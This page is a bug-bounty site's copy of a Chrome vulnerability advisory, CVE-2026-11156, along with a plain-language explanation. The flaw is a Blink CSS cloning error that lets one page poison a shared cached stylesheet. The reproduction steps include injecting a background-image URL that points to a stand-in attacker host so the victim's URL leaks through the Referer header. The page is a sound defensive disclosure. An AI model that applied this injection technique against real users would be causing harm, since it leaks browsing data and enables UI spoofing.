Skip to content
XSS Advisory Advanced CVE-2026-11156

Inappropriate implementation in CSS (CVE-2026-11156)

A logic error in Blink's CSS rule cloning returns the original rule instead of a deep copy for rules nested inside an @scope block, so a CSSOM mutation can write into a stylesheet that is still shared from the renderer's process cache. An attacker-controlled page could then inject CSS declarations that affect same-process, typically same-site cross-origin, victim documents, potentially leaking the victim's URL through a background-image request or spoofing the UI.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 52 days

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: A logic error in StyleRuleBase::Clone() breaks the Copy-On-Write (COW) mechanism for CSS rules nested inside an @scope rule. When cloned, these rules return this instead of a deep copy, allowing an attacker to modify shared StyleSheetContents in the process cache. This can potentially lead to cross-origin data exfiltration or UI spoofing for documents sharing the renderer process.

Affected files:

  • third_party/blink/renderer/core/css/style_rule.cc
  • third_party/blink/renderer/core/css/css_style_sheet.cc
  • third_party/blink/renderer/core/css/style_sheet_contents.cc
  • third_party/blink/renderer/core/css/css_nested_declarations_rule.cc
  • third_party/blink/renderer/core/loader/resource/css_style_sheet_resource.cc

Estimated timestamp from git blame: 2025-10-24

Summary

A vulnerability in Blink's CSS engine potentially allows for cross-document mutation of cached stylesheets. Due to a broken copy-on-write (COW) invariant in StyleRuleBase::Clone(), mutating an @scope rule via CSSOM can inadvertently poison a shared stylesheet stored in the renderer's CSSStyleSheetResource cache. This enables same-site cross-origin CSS declaration injection, which can be leveraged for UI spoofing and information exfiltration.

Technical Details

When a CSSOM mutation is performed on a shared external stylesheet, CSSStyleSheet::WillMutateRules() performs copy-on-write by calling StyleSheetContents::Copy(). This operation is intended to create a deep clone of the stylesheet's rule tree using StyleRuleBase::Clone().

However, in third_party/blink/renderer/core/css/style_rule.cc, the Clone() implementation for kNestedDeclarations contains a logic flaw:

C++
case kNestedDeclarations: {
  auto* nested_declarations_rule = To<StyleRuleNestedDeclarations>(this);
  // ...
  if (nested_declarations_rule->NestingType() == CSSNestingType::kScope) {
    return this; // <--- The vulnerability
  }
  // ...
}

When cloning an @scope rule, the function returns the original StyleRuleNestedDeclarations object instead of a new instance. As a result, the "cloned" StyleSheetContents tree incorrectly aliases the original rule owned by the cached, immutable StyleSheetContents in CSSStyleSheetResource.

During the mutation process, CSSNestedDeclarationsRule::Reattach() re-binds the CSSOM wrapper to the shared rule's property set. Subsequent modifications (e.g., via style.setProperty()) write directly into the shared MutableCSSPropertyValueSet. Because the original StyleSheetContents object's is_mutable_ flag remains false, it continues to be served from the cache to other documents in the same renderer process.

Latent issues also exist for kApplyMixin and kContents branches in StyleRuleBase::Clone(), which also return this when they should return a clone.

Potential Impact

An attacker-controlled document can potentially inject arbitrary CSS declarations into the :where(:scope) block of an @scope rule in a shared stylesheet. This affects all same-process documents (typically same-site cross-origin) that load the same stylesheet. This could lead to:

  1. Information Exfiltration: Using background-image: url(...) to leak the victim's URL via the Referer header.
  2. UI Spoofing: Altering the appearance of elements within the @scope root in the victim document.
  3. Persistent Cache Poisoning: The shared stylesheet remains poisoned in the renderer's memory cache for the duration of the process.

Potential Reproduction Steps

Note: Our agent does not have the ability to run code, so these are theoretical steps based on code analysis.

  1. Host a shared CSS file with @scope (body) { color: green; } on a CORS-enabled origin.
  2. Load an attacker page and a victim page (same-site, different origin) that both link to this stylesheet, ensuring they share a renderer process.
  3. In the attacker page, access the @scope rule's nested declarations via CSSOM and call setProperty('background-image', 'url(https://attacker.test/probe)').
  4. Trigger a layout recalculation in the victim page. The victim page should apply the injected background image and issue a request to the attacker's server with its own URL in the Referer header.

Suggested Fix

Modify StyleRuleBase::Clone() in third_party/blink/renderer/core/css/style_rule.cc to perform a proper deep clone for kNestedDeclarations when NestingType() == CSSNestingType::kScope. Ensure that kApplyMixin and kContents also correctly clone their inner rules instead of returning this.

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Clone() implementation for nested declarations inside an @scope rule returns the original object instead of a new instance, breaking the copy-on-write invariant so the supposedly cloned stylesheet still aliases the cached, immutable rule.

Impact

An attacker could inject CSS declarations into the shared stylesheet affecting all same-process documents, potentially leaking the victim's URL via the Referer header, spoofing the UI, and keeping the stylesheet poisoned in the renderer's memory cache for the life of the process; the report notes the reproduction steps are theoretical and were not run.

What the attacker needed

Attacker page and victim page share a renderer; both pages load the same stylesheet; victim page is same-site cross-origin; stylesheet served from a CORS-enabled origin

The fix

StyleRuleBase::Clone() should perform a proper deep clone for nested declarations when the nesting type is scope, and the apply-mixin and contents branches should also clone their inner rules instead of returning this.

How it was found

  1. Host a shared stylesheet containing an @scope rule on a CORS-enabled origin.
  2. Load an attacker page and a same-site victim page that both link the stylesheet and share a renderer process.
  3. From the attacker page, reach the @scope rule's nested declarations through CSSOM and set a property such as a background image pointing at the attacker.
  4. Trigger a layout recalculation in the victim page so it applies the injected declaration and requests the attacker's URL with its own URL in the Referer header.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Browsers keep one copy of a stylesheet in memory and share it between pages to save work. Before a page is allowed to change that stylesheet, the browser is supposed to make a private copy so the shared one stays untouched. Here the copying step was broken for one kind of CSS rule, so a malicious page could edit the shared copy and quietly change how other pages look or make them send requests to the attacker.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.